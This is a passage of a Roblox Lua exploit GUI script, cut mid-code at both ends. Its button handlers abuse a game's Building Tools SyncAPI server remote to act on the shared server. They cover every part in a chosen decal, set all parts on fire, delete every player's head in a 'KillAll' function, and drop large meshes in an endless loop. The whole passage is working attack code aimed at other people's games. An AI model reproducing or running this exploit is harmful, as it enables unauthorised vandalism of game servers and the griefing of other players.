                        ["TextureId"] = "rbxassetid://"..texid
                    }
                }
            }
            _(args)
        end
        function SetName(part, stringg)
            local args = {
                [1] = "SetName",
                [2] = {
                    [1] = part
                },
                [3] = stringg
            }

            _(args)
        end
        function MeshResize(part,size)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Scale"] = size
                    }
                }
            }
            _(args)
        end
        function Weld(part1, part2,lead)
            local args = {
                [1] = "CreateWelds",
                [2] = {
                    [1] = part1,
                    [2] = part2
                },
                [3] = lead
            }
            _(args)

        end
        function SetLocked(part,boolean)
            local args = {
                [1] = "SetLocked",
                [2] = {
                    [1] = part
                },
                [3] = boolean
            }
            _(args)
        end
        function SetTrans(part,int)
            local args = {
                [1] = "SyncMaterial",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Transparency"] = int
                    }
                }
            }
            _(args)
        end
        function CreateSpotlight(part)
            local args = {
                [1] = "CreateLights",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight"
                    }
                }
            }
            _(args)
        end
        function SyncLighting(part,brightness)
            local args = {
                [1] = "SyncLighting",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight",
                        ["Brightness"] = brightness
                    }
                }
            }
            _(args)
        end
        function Color(part,color)
            local args = {
                [1] = "SyncColor",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Color"] = color --[[Color3]],
                        ["UnionColoring"] = false
                    }
                }
            }
            _(args)
        end
        function SpawnDecal(part,side)
            local args = {
                [1] = "CreateTextures",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Face"] = side,
                        ["TextureType"] = "Decal"
                    }
                }
            }

            _(args)
        end
        function AddDecal(part,asset,side)
            local args = {
                [1] = "SyncTexture",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Face"] = side,
                        ["TextureType"] = "Decal",
                        ["Texture"] = "rbxassetid://".. asset
                    }
                }
            }
            _(args)
        end

        function Sky(id)
            e = char.HumanoidRootPart.CFrame.x
            f = char.HumanoidRootPart.CFrame.y
            g = char.HumanoidRootPart.CFrame.z
            CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
            for i,v in game.Workspace:GetDescendants() do
                if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
                    --spawn(function()
                    SetName(v,"Sky")
                    AddMesh(v)
                    --end)
                    --spawn(function()
                    SetMesh(v,"8006679977")
                    SetTexture(v,id)
                    --end)
                    MeshResize(v,Vector3.new(50,50,50))
                    SetLocked(v,true)
                end
            end
        end
        Sky(game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text)

    end)
end
coroutine.wrap(VBWFAA_fake_script)()
local function RXFTK_fake_script() -- button_48.LocalScript 
    local script = Instance.new('LocalScript', button_48)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        --rgrg
        local player = game.Players.LocalPlayer
        local char = player.Character
        local tool
        for i,v in player:GetDescendants() do
            if v.Name == "SyncAPI" then
                tool = v.Parent
            end
        end
        for i,v in game.ReplicatedStorage:GetDescendants() do
            if v.Name == "SyncAPI" then
                tool = v.Parent
            end
        end
        --craaa
        remote = tool.SyncAPI.ServerEndpoint
        function _(args)
            remote:InvokeServer(unpack(args))
        end
        function SetCollision(part,boolean)
            local args = {
                [1] = "SyncCollision",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CanCollide"] = boolean
                    }
                }
            }
            _(args)
        end
        function SetAnchor(boolean,part)
            local args = {
                [1] = "SyncAnchor",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Anchored"] = boolean
                    }
                }
            }
            _(args)
        end
        function CreatePart(cf,parent)
            local args = {
                [1] = "CreatePart",
                [2] = "Normal",
                [3] = cf,
                [4] = parent
            }
            _(args)
        end
        function DestroyPart(part)
            local args = {
                [1] = "Remove",
                [2] = {
                    [1] = part
                }
            }
            _(args)
        end
        function MovePart(part,cf)
            local args = {
                [1] = "SyncMove",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf
                    }
                }
            }
            _(args)
        end
        function Resize(part,size,cf)
            local args = {
                [1] = "SyncResize",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf,
                        ["Size"] = size
                    }
                }
            }
            _(args)
        end
        function AddMesh(part)
            local args = {
                [1] = "CreateMeshes",
                [2] = {
                    [1] = {
                        ["Part"] = part
                    }
                }
            }
            _(args)
        end

        function SetMesh(part,meshid)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["MeshId"] = "rbxassetid://"..meshid
                    }
                }
            }
            _(args)
        end
        function SetTexture(part, texid)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["TextureId"] = "rbxassetid://"..texid
                    }
                }
            }
            _(args)
        end
        function SetName(part, stringg)
            local args = {
                [1] = "SetName",
                [2] = {
                    [1] = part
                },
                [3] = stringg
            }

            _(args)
        end
        function MeshResize(part,size)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Scale"] = size
                    }
                }
            }
            _(args)
        end
        function Weld(part1, part2,lead)
            local args = {
                [1] = "CreateWelds",
                [2] = {
                    [1] = part1,
                    [2] = part2
                },
                [3] = lead
            }
            _(args)

        end
        function SetLocked(part,boolean)
            local args = {
                [1] = "SetLocked",
                [2] = {
                    [1] = part
                },
                [3] = boolean
            }
            _(args)
        end
        function SetTrans(part,int)
            local args = {
                [1] = "SyncMaterial",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Transparency"] = int
                    }
                }
            }
            _(args)
        end
        function CreateSpotlight(part)
            local args = {
                [1] = "CreateLights",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight"
                    }
                }
            }
            _(args)
        end
        function SyncLighting(part,brightness)
            local args = {
                [1] = "SyncLighting",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight",
                        ["Brightness"] = brightness
                    }
                }
            }
            _(args)
        end
        function Color(part,color)
            local args = {
                [1] = "SyncColor",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Color"] = color --[[Color3]],
                        ["UnionColoring"] = false
                    }
                }
            }
            _(args)
        end
        function SpawnDecal(part,side)
            local args = {
                [1] = "CreateTextures",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Face"] = side,
                        ["TextureType"] = "Decal"
                    }
                }
            }

            _(args)
        end
        function AddDecal(part,asset,side)
            local args = {
                [1] = "SyncTexture",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Face"] = side,
                        ["TextureType"] = "Decal",
                        ["Texture"] = "rbxassetid://".. asset
                    }
                }
            }
            _(args)
        end

        function spam(id)
            for i,v in game.workspace:GetDescendants() do
                if v:IsA("BasePart") then
                    spawn(function()
                        SetLocked(v,false)
                        SpawnDecal(v,Enum.NormalId.Front)
                        AddDecal(v,id,Enum.NormalId.Front)

                        SpawnDecal(v,Enum.NormalId.Back)
                        AddDecal(v,id,Enum.NormalId.Back)

                        SpawnDecal(v,Enum.NormalId.Right)
                        AddDecal(v,id,Enum.NormalId.Right)

                        SpawnDecal(v,Enum.NormalId.Left)
                        AddDecal(v,id,Enum.NormalId.Left)

                        SpawnDecal(v,Enum.NormalId.Bottom)
                        AddDecal(v,id,Enum.NormalId.Bottom)

                        SpawnDecal(v,Enum.NormalId.Top)
                        AddDecal(v,id,Enum.NormalId.Top)
                    end)
                end
            end 
        end
        spam(game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text)
    end)
end
coroutine.wrap(RXFTK_fake_script)()
local function VANYF_fake_script() -- button_49.LocalScript 
    local script = Instance.new('LocalScript', button_49)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        local player = game.Players.LocalPlayer
        local char = player.Character
        local tool
        for i,v in player:GetDescendants() do
            if v.Name == "SyncAPI" then
                tool = v.Parent
            end
        end
        for i,v in game.ReplicatedStorage:GetDescendants() do
            if v.Name == "SyncAPI" then
                tool = v.Parent
            end
        end
        --craaa
        remote = tool.SyncAPI.ServerEndpoint
        function _(args)
            remote:InvokeServer(unpack(args))
        end
        function SetCollision(part,boolean)
            local args = {
                [1] = "SyncCollision",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CanCollide"] = boolean
                    }
                }
            }
            _(args)
        end
        function SetAnchor(boolean,part)
            local args = {
                [1] = "SyncAnchor",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Anchored"] = boolean
                    }
                }
            }
            _(args)
        end
        function CreatePart(cf,parent)
            local args = {
                [1] = "CreatePart",
                [2] = "Normal",
                [3] = cf,
                [4] = parent
            }
            _(args)
        end
        function DestroyPart(part)
            local args = {
                [1] = "Remove",
                [2] = {
                    [1] = part
                }
            }
            _(args)
        end
        function MovePart(part,cf)
            local args = {
                [1] = "SyncMove",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf
                    }
                }
            }
            _(args)
        end
        function Resize(part,size,cf)
            local args = {
                [1] = "SyncResize",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf,
                        ["Size"] = size
                    }
                }
            }
            _(args)
        end
        function AddMesh(part)
            local args = {
                [1] = "CreateMeshes",
                [2] = {
                    [1] = {
                        ["Part"] = part
                    }
                }
            }
            _(args)
        end

        function SetMesh(part,meshid)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["MeshId"] = "rbxassetid://"..meshid
                    }
                }
            }
            _(args)
        end
        function SetTexture(part, texid)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["TextureId"] = "rbxassetid://"..texid
                    }
                }
            }
            _(args)
        end
        function SetName(part, stringg)
            local args = {
                [1] = "SetName",
                [2] = {
                    [1] = workspace.Part
                },
                [3] = stringg
            }

            _(args)
        end
        function MeshResize(part,size)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Scale"] = size
                    }
                }
            }
            _(args)
        end
        function Weld(part1, part2,lead)
            local args = {
                [1] = "CreateWelds",
                [2] = {
                    [1] = part1,
                    [2] = part2
                },
                [3] = lead
            }
            _(args)

        end
        function SetLocked(part,boolean)
            local args = {
                [1] = "SetLocked",
                [2] = {
                    [1] = part
                },
                [3] = boolean
            }
            _(args)
        end
        function SetTrans(part,int)
            local args = {
                [1] = "SyncMaterial",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Transparency"] = int
                    }
                }
            }
            _(args)
        end
        function CreateSpotlight(part)
            local args = {
                [1] = "CreateLights",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight"
                    }
                }
            }
            _(args)
        end
        function SyncLighting(part,brightness)
            local args = {
                [1] = "SyncLighting",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight",
                        ["Brightness"] = brightness
                    }
                }
            }
            _(args)
        end
        function AddFire(part)
            local args = {
                [1] = "CreateDecorations",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["DecorationType"] = "Fire"
                    }
                }
            }
            _(args)
        end
        function FireParts()
            for i,v in game.Workspace:GetDescendants() do
                spawn(function()
                    SetLocked(v,false)
                    AddFire(v)
                end)
            end
        end
        FireParts()

    end)
end
coroutine.wrap(VANYF_fake_script)()
local function HZJA_fake_script() -- button_50.LocalScript 
    local script = Instance.new('LocalScript', button_50)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        --rgrg
        local player = game.Players.LocalPlayer
        local char = player.Character
        local tool
        for i,v in player:GetDescendants() do
            if v.Name == "SyncAPI" then
                tool = v.Parent
            end
        end
        for i,v in game.ReplicatedStorage:GetDescendants() do
            if v.Name == "SyncAPI" then
                tool = v.Parent
            end
        end
        --craaa
        remote = tool.SyncAPI.ServerEndpoint
        function _(args)
            remote:InvokeServer(unpack(args))
        end
        function SetCollision(part,boolean)
            local args = {
                [1] = "SyncCollision",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CanCollide"] = boolean
                    }
                }
            }
            _(args)
        end
        function SetAnchor(boolean,part)
            local args = {
                [1] = "SyncAnchor",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Anchored"] = boolean
                    }
                }
            }
            _(args)
        end
        function CreatePart(cf,parent)
            local args = {
                [1] = "CreatePart",
                [2] = "Normal",
                [3] = cf,
                [4] = parent
            }
            _(args)
        end
        function DestroyPart(part)
            local args = {
                [1] = "Remove",
                [2] = {
                    [1] = part
                }
            }
            _(args)
        end
        function MovePart(part,cf)
            local args = {
                [1] = "SyncMove",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf
                    }
                }
            }
            _(args)
        end
        function Resize(part,size,cf)
            local args = {
                [1] = "SyncResize",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf,
                        ["Size"] = size
                    }
                }
            }
            _(args)
        end
        function AddMesh(part)
            local args = {
                [1] = "CreateMeshes",
                [2] = {
                    [1] = {
                        ["Part"] = part
                    }
                }
            }
            _(args)
        end

        function SetMesh(part,meshid)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["MeshId"] = "rbxassetid://"..meshid
                    }
                }
            }
            _(args)
        end
        function SetTexture(part, texid)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["TextureId"] = "rbxassetid://"..texid
                    }
                }
            }
            _(args)
        end
        function SetName(part, stringg)
            local args = {
                [1] = "SetName",
                [2] = {
                    [1] = workspace.Part
                },
                [3] = stringg
            }

            _(args)
        end
        function MeshResize(part,size)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Scale"] = size
                    }
                }
            }
            _(args)
        end
        function Weld(part1, part2,lead)
            local args = {
                [1] = "CreateWelds",
                [2] = {
                    [1] = part1,
                    [2] = part2
                },
                [3] = lead
            }
            _(args)

        end
        function SetLocked(part,boolean)
            local args = {
                [1] = "SetLocked",
                [2] = {
                    [1] = part
                },
                [3] = boolean
            }
            _(args)
        end
        function SetTrans(part,int)
            local args = {
                [1] = "SyncMaterial",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Transparency"] = int
                    }
                }
            }
            _(args)
        end
        function CreateSpotlight(part)
            local args = {
                [1] = "CreateLights",
                [2] = {
                    [1] = {
                        ["Part"] = workspace.Part,
                        ["LightType"] = "SpotLight"
                    }
                }
            }
            _(args)
        end
        function SyncLighting(part,brightness)
            local args = {
                [1] = "SyncLighting",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight",
                        ["Brightness"] = brightness
                    }
                }
            }
            _(args)
        end
        function AddFire(part)
            local args = {
                [1] = "CreateDecorations",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["DecorationType"] = "Fire"
                    }
                }
            }
            _(args)
        end

        function Fire(player)
            for i,v in player.Character:GetDescendants() do
                if v:IsA("BasePart") then
                    AddFire(v)
                end
            end
            DestroyPart(player.Character.Head)
        end

        for i,v in game.Players:GetPlayers() do
            spawn(function()
                pcall(function()
                    Fire(v)
                end)
            end)
        end
    end)
end
coroutine.wrap(HZJA_fake_script)()
local function EGDK_fake_script() -- button_51.LocalScript 
    local script = Instance.new('LocalScript', button_51)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        --rgrg
        local player = game.Players.LocalPlayer
        local char = player.Character
        local tool
        for i,v in player:GetDescendants() do
            if v.Name == "SyncAPI" then
                tool = v.Parent
            end
        end
        for i,v in game.ReplicatedStorage:GetDescendants() do
            if v.Name == "SyncAPI" then
                tool = v.Parent
            end
        end
        --craaa
        remote = tool.SyncAPI.ServerEndpoint
        function _(args)
            remote:InvokeServer(unpack(args))
        end
        function SetCollision(part,boolean)
            local args = {
                [1] = "SyncCollision",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CanCollide"] = boolean
                    }
                }
            }
            _(args)
        end
        function SetAnchor(boolean,part)
            local args = {
                [1] = "SyncAnchor",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Anchored"] = boolean
                    }
                }
            }
            _(args)
        end
        function CreatePart(cf)
            local args = {
                [1] = "CreatePart",
                [2] = "Normal",
                [3] = cf,
                [4] = workspace
            }
            _(args)
        end
        function DestroyPart(part)
            local args = {
                [1] = "Remove",
                [2] = {
                    [1] = workspace.Part
                }
            }
            _(args)
        end
        function MovePart(part,cf)
            local args = {
                [1] = "SyncMove",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf
                    }
                }
            }
            _(args)
        end
        function Resize(part,size,cf)
            local args = {
                [1] = "SyncResize",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf,
                        ["Size"] = size
                    }
                }
            }
            _(args)
        end
        function AddMesh(part)
            local args = {
                [1] = "CreateMeshes",
                [2] = {
                    [1] = {
                        ["Part"] = part
                    }
                }
            }
            _(args)
        end

        function SetMesh(part,meshid)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["MeshId"] = "rbxassetid://"..meshid
                    }
                }
            }
            _(args)
        end
        function SetTexture(part, texid)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["TextureId"] = "rbxassetid://"..texid
                    }
                }
            }
            _(args)
        end
        function SetName(part, stringg)
            local args = {
                [1] = "SetName",
                [2] = {
                    [1] = workspace.Part
                },
                [3] = stringg
            }

            _(args)
        end
        function MeshResize(part,size)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Scale"] = size
                    }
                }
            }
            _(args)
        end
        hrpcf = player.Character.HumanoidRootPart.CFrame
        while wait(0.5) do
            x = hrpcf.x
            z = hrpcf.z
            randint = math.random(-600,600)
            randint2 = math.random(-600,600)
            xloc = randint + x
            zloc = randint2 + z
            cf = player.Character.HumanoidRootPart.CFrame.y + 400
            spawn(function()
                CreatePart(CFrame.new(math.floor(xloc), math.random(cf,cf+400), math.floor(zloc)))
                for i,v in game.Workspace:GetDescendants() do
                    if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
                        SetName(v,"b_1337")
                        SetAnchor(false,v)
                        AddMesh(v)
                        Resize(v, Vector3.new(100,100,100),v.CFrame)
                        MeshResize(v,Vector3.new(3,3,3))
                        SetMesh(v,"7234998844")
                        SetTexture(v, "1009824086")
                        SetCollision(v,false)
                    else
                    end
                end    
            end)
        end
    end)
end
coroutine.wrap(EGDK_fake_script)()
local function QDRG_fake_script() -- button_52.LocalScript 
    local script = Instance.new('LocalScript', button_52)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        local player = game.Players.LocalPlayer
        local char = player.Character
        local tool
        for i,v in player:GetDescendants() do
            if v.Name == "SyncAPI" then
                tool = v.Parent
            end
        end
        for i,v in game.ReplicatedStorage:GetDescendants() do
            if v.Name == "SyncAPI" then
                tool = v.Parent
            end
        end
        --craaa
        remote = tool.SyncAPI.ServerEndpoint
        function _(args)
            remote:InvokeServer(unpack(args))
        end
        function SetCollision(part,boolean)
            local args = {
                [1] = "SyncCollision",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CanCollide"] = boolean
                    }
                }
            }
            _(args)
        end
        function SetAnchor(boolean,part)
            local args = {
                [1] = "SyncAnchor",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Anchored"] = boolean
                    }
                }
            }
            _(args)
        end
        function CreatePart(cf,parent)
            local args = {
                [1] = "CreatePart",
                [2] = "Normal",
                [3] = cf,
                [4] = parent
            }
            _(args)
        end
        function DestroyPart(part)
            local args = {
                [1] = "Remove",
                [2] = {
                    [1] = part
                }
            }
            _(args)
        end
        function MovePart(part,cf)
            local args = {
                [1] = "SyncMove",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf
                    }
                }
            }
            _(args)
        end
        function Resize(part,size,cf)
            local args = {
                [1] = "SyncResize",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf,
                        ["Size"] = size
                    }
                }
            }
            _(args)
        end
        function AddMesh(part)
            local args = {
                [1] = "CreateMeshes",
                [2] = {
                    [1] = {
                        ["Part"] = part
                    }
                }
            }
            _(args)
        end

        function SetMesh(part,meshid)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["MeshId"] = "rbxassetid://"..meshid
                    }
                }
            }
            _(args)
        end
        function SetTexture(part, texid)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["TextureId"] = "rbxassetid://"..texid
                    }
                }
            }
            _(args)
        end
        function SetName(part, stringg)
            local args = {
                [1] = "SetName",
                [2] = {
                    [1] = workspace.Part
                },
                [3] = stringg
            }

            _(args)
        end
        function MeshResize(part,size)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Scale"] = size
                    }
                }
            }
            _(args)
        end
        function Weld(part1, part2,lead)
            local args = {
                [1] = "CreateWelds",
                [2] = {
                    [1] = part1,
                    [2] = part2
                },
                [3] = lead
            }
            _(args)

        end
        function SetLocked(part,boolean)
            local args = {
                [1] = "SetLocked",
                [2] = {
                    [1] = part
                },
                [3] = boolean
            }
            _(args)
        end
        function SetTrans(part,int)
            local args = {
                [1] = "SyncMaterial",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Transparency"] = int
                    }
                }
            }
            _(args)
        end
        function CreateSpotlight(part)
            local args = {
                [1] = "CreateLights",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight"
                    }
                }
            }
            _(args)
        end
        function SyncLighting(part,brightness)
            local args = {
                [1] = "SyncLighting",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight",
                        ["Brightness"] = brightness
                    }
                }
            }
            _(args)
        end

        function KillAll()
            for i,v in game.Players:GetPlayers() do
                spawn(function()
                    SetLocked(v.Character.Head,false)
                    DestroyPart(v.Character.Head)
                end)
            end
        end
        KillAll()
    end)
end
coroutine.wrap(QDRG_fake_script)()
local function LQAKNWI_fake_script() -- button_53.LocalScript 
    local script = Instance.new('LocalScript', button_53)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
            local player = game.Players.LocalPlayer
            local char = player.Character
            local tool
            for i,v in player:GetDescendants() do
                if v.Name == "SyncAPI" then
                    tool = v.Parent
                end
            end
            for i,v in game.ReplicatedStorage:GetDescendants() do
                if v.Name == "SyncAPI" then
                    tool = v.Parent
                end
            end
            --craaa
            remote = tool.SyncAPI.ServerEndpoint
            function _(args)
                remote:InvokeServer(unpack(args))
            end
            function SetCollision(part,boolean)
                local args = {
                    [1] = "SyncCollision",
                    [2] = {
                        [1] = {
                            ["Part"] = part,
                            ["CanCollide"] = boolean
                        }
                    }
                }
                _(args)
            end
            function SetAnchor(boolean,part)
                local args = {
                    [1] = "SyncAnchor",
                    [2] = {
                        [1] = {
                            ["Part"] = part,
                            ["Anchored"] = boolean
                        }
                    }
                }
                _(args)
            end
            function CreatePart(cf,parent,types)
                local args = {
                    [1] = "CreatePart",
                    [2] = types,
                    [3] = cf,
                    [4] = parent
                }
                _(args)
            end
            function DestroyPart(part)
                local args = {
                    [1] = "Remove",
                    [2] = {
                        [1] = part
                    }
                }
                _(args)
            end
            function MovePart(part,cf)
                local args = {
                    [1] = "SyncMove",
                    [2] = {
                        [1] = {
                            ["Part"] = part,
                            ["CFrame"] = cf
                        }
                    }
                }
                _(args)
            end
            function Resize(part,size,cf)
                local args = {
                    [1] = "SyncResize",
                    [2] = {
                        [1] = {
                            ["Part"] = part,
                            ["CFrame"] = cf,
                            ["Size"] = size
                        }
                    }
                }
                _(args)
            end
            function AddMesh(part)
                local args = {
                    [1] = "CreateMeshes",
                    [2] = {
                        [1] = {
                            ["Part"] = part
                        }
                    }
                }
                _(args)
            end

            function SetMesh(part,meshid)
                local args = {
                    [1] = "SyncMesh",
                    [2] = {
                        [1] = {
                            ["Part"] = part,
                            ["MeshId"] = "rbxassetid://"..meshid
                        }
                    }
                }
                _(args)
            end
            function SetTexture(part, texid)
                local args = {
                    [1] = "SyncMesh",
                    [2] = {
                        [1] = {
                            ["Part"] = part,
                            ["TextureId"] = "rbxassetid://"..texid
                        }
                    }
                }
                _(args)
            end
            function SetName(part, stringg)
                local args = {
                    [1] = "SetName",
                    [2] = {
                        [1] = workspace.Part
                    },
                    [3] = stringg
                }

                _(args)
            end
            function MeshResize(part,size)
                local args = {
                    [1] = "SyncMesh",
                    [2] = {
                        [1] = {
                            ["Part"] = part,
                            ["Scale"] = size
                        }
                    }
                }
                _(args)
            end
            function Weld(part1, part2,lead)
                local args = {
                    [1] = "CreateWelds",
                    [2] = {
                        [1] = part1,
                        [2] = part2
                    },
                    [3] = lead
                }
                _(args)

            end
            function SetLocked(part,boolean)
                local args = {
                    [1] = "SetLocked",
                    [2] = {
                        [1] = part
                    },
                    [3] = boolean
                }
                _(args)
            end
            function SetTrans(part,int)
                local args = {
                    [1] = "SyncMaterial",
                    [2] = {
                        [1] = {
                            ["Part"] = part,
                            ["Transparency"] = int
                        }
                    }
                }
                _(args)
            end
            function CreateSpotlight(part)
                local args = {
                    [1] = "CreateLights",
                    [2] = {
                        [1] = {
                            ["Part"] = part,
                            ["LightType"] = "SpotLight"
                        }
                    }
                }
                _(args)
            end
            function SyncLighting(part,brightness)
                local args = {
                    [1] = "SyncLighting",
                    [2] = {
                        [1] = {
                            ["Part"] = part,
                            ["LightType"] = "SpotLight",
                            ["Brightness"] = brightness
                        }
                    }
                }
                _(args)
            end

            function Material(part,mate)

                local args = {
                    [1] = "SyncMaterial",
                    [2] = {
                        [1] = {
                            ["Part"] = part,
                            ["Material"] = mate
                        }
                    }
                }
                _(args)
            end
            function Color(part,color)
                local args = {
                    [1] = "SyncColor",
                    [2] = {
                        [1] = {
                            ["Part"] = part,
                            ["Color"] = color --[[Color3]],
                            ["UnionColoring"] = false
                        }
                    }
                }
                _(args)
            end
            hrpx = math.floor(char.HumanoidRootPart.CFrame.x)
            hrpz = math.floor(char.HumanoidRootPart.CFrame.z)
            hrpy = math.floor(char.HumanoidRootPart.CFrame.y)
            function SpawnBasePlate()
                CreatePart(CFrame.new(hrpx,hrpy-20,hrpz),workspace,"Spawn")
                for i,v in game.Workspace:GetChildren() do
                    if v:IsA("BasePart") and v.CFrame.y == hrpy - 20 and v.CFrame.x == hrpx then
                        spawn(function()
                            Resize(v,Vector3.new(1000,2,1000),CFrame.new(hrpx,hrpy-20,hrpz))
                            Material(v,Enum.Material.Grass)
                            Color(v,Color3.fromRGB(25,100,25))
                            while wait(1) do
                                pcall(function()SetLocked(v,true)end)
                            end
                        end)
                    end
                end
            end
            SpawnBasePlate()
    end)
end
coroutine.wrap(LQAKNWI_fake_script)()
local function MPCIN_fake_script() -- button_54.LocalScript 
    local script = Instance.new('LocalScript', button_54)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        local player = game.Players.LocalPlayer
        local char = player.Character
        local tool
        for i,v in player:GetDescendants() do
            if v.Name == "SyncAPI" then
                tool = v.Parent
            end
        end
        for i,v in game.ReplicatedStorage:GetDescendants() do
            if v.Name == "SyncAPI" then
                tool = v.Parent
            end
        end
        --craaa
        remote = tool.SyncAPI.ServerEndpoint
        function _(args)
            remote:InvokeServer(unpack(args))
        end
        function SetCollision(part,boolean)
            local args = {
                [1] = "SyncCollision",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CanCollide"] = boolean
                    }
                }
            }
            _(args)
        end
        function SetAnchor(boolean,part)
            local args = {
                [1] = "SyncAnchor",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Anchored"] = boolean
                    }
                }
            }
            _(args)
        end
        function CreatePart(cf,parent)
            local args = {
                [1] = "CreatePart",
                [2] = "Normal",
                [3] = cf,
                [4] = parent
            }
            _(args)
        end
        function DestroyPart(part)
            local args = {
                [1] = "Remove",
                [2] = {
                    [1] = part
                }
            }
            _(args)
        end
        function MovePart(part,cf)
            local args = {
                [1] = "SyncMove",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf
                    }
                }
            }
            _(args)
        end
        function Resize(part,size,cf)
            local args = {
                [1] = "SyncResize",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf,
                        ["Size"] = size
                    }
                }
            }
            _(args)
        end
        function AddMesh(part)
            local args = {
                [1] = "CreateMeshes",
                [2] = {
                    [1] = {
                        ["Part"] = part
                    }
                }
            }
            _(args)
        end

        function SetMesh(part,meshid)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["MeshId"] = "rbxassetid://"..meshid
                    }
                }
            }
            _(args)
        end
        function SetTexture(part, texid)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["TextureId"] = "rbxassetid://"..texid
                    }
                }
            }
            _(args)
        end
        function SetName(part, stringg)
            local args = {
                [1] = "SetName",
                [2] = {
                    [1] = workspace.Part
                },
                [3] = stringg
            }

            _(args)
        end
        function MeshResize(part,size)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
